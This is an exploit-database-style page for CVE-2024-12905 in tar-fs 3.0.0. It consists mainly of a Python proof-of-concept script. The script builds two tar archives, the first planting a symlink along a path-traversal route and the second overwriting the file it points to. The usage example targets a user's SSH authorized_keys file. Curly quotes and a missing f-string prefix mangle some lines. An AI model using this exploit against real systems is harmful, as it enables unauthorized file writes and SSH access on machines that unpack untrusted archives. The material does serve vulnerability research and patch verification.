tar-fs 3.0.0 – Arbitrary File Write/Overwrite

• CVE-2024-12905

Exploit Title: tar-fs 3.0.0 – Arbitrary File Write/Overwrite Date: 17th April, 2024 Exploit Author: Ardayfio Samuel Nii Aryee Software link: https://github.com/mafintosh/tar-fs Version: tar-fs 3.0.0…

# Exploit Title: tar-fs 3.0.0 – Arbitrary File Write/Overwrite

# Date: 17th April, 2024

# Exploit Author: Ardayfio Samuel Nii Aryee

# Software link: https://github.com/mafintosh/tar-fs

# Version: tar-fs 3.0.0

# Tested on: Ubuntu

# CVE: CVE-2024-12905

# Run the command: Example: python3 exploit.py authorized_keys ../../../../../../../../home/user1/authorized_keys

# This will generate two tar file: stage_1.tar and stage_2.tar

# Upload stage_1.tar first to unarchive the symlink

# Next, upload stage_2.tar to finally write/overwrite the file on the system

import os

import sys

import tarfile

link_name = “normal_file”

def check_arguments():

if len(sys.argv) != 3:

print(f”Usage: {sys.argv[0]} \n\

Example: {sys.argv[0]} authorized_keys ../../../../../../../../home/user1/authorized_keys\

“)

sys.exit()

content_file_path = sys.argv[1]

target_file_path = sys.argv[2]

return content_file_path, target_file_path

def create_symlink(link_name, target_path):

os.symlink(target_path, link_name)

print(“[+] Created symlink: {link_name} -> {target_path}”)

def archive_files(archive_name, file_path):

tar = tarfile.open(archive_name, ‘w’)

tar.add(file_path, link_name, recursive=False)

tar.close()

print(f”[+] Archived to: {archive_name}”)

def main():

content_path, target_file = check_arguments()

stage_1_archive_name = “stage_1.tar”

stage_2_archive_name = “stage_2.tar”

create_symlink(link_name, target_file)

archive_files(stage_1_archive_name, link_name)

archive_files(stage_2_archive_name, content_path)

if __name__ == “__main__”:

main()